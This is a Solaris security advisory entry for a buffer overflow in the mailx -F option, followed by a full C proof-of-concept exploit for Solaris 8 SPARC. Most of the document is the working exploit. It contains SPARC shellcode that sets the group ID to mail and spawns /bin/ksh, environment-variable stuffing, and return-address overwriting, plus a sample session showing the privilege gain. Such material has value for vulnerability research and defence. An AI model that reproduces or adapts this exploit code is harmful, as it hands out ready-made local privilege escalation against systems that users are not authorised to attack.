// source: https://www.securityfocus.com/bid/2610/info
Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.
A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address.
This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail.
#include <fcntl.h>
/*
/usr/bin/mailx overflow proof of conecpt.
Pablo Sor, Buenos Aires, Argentina 05/2001
psor@afip.gov.ar, psor@ccc.uba.ar
works against Solaris 8 (SPARC)
default offset should work.
$ id
uid=100(laika) gid=1(other)
$ ./mailx-exp
Subject: tomy
.
EOT
[wait..]
$ id
uid=100(laika) gid=1(other) egid=6(mail)
*/
int main(int ac, char **av)
{
char shell[]=
"\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */
"\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */
/* LSD-pl.net guys shellcode */
"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
"\x82\x10\x20\x17" /* mov 0x17,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
unsigned long magic = get_sp() + 1444 ; /* default offset */
unsigned char buf[1220];
char *envi;
int cont;
envi = (char *)malloc(1000*sizeof(char));
for (cont=3;cont<990;cont=cont+4)
{ envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }
for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803];
memcpy(envi,"SO=",3);
envi[999]=0;
putenv(envi);
memset(buf,0x41,1220);
memcpy(buf+1120+24,&magic,4); /* fake %fp */
memcpy(buf+1120+28,&magic,4); /* fake %i7 */
buf[1220]=0;
execl("/usr/bin/mailx","mailx","-F",buf,NULL);
}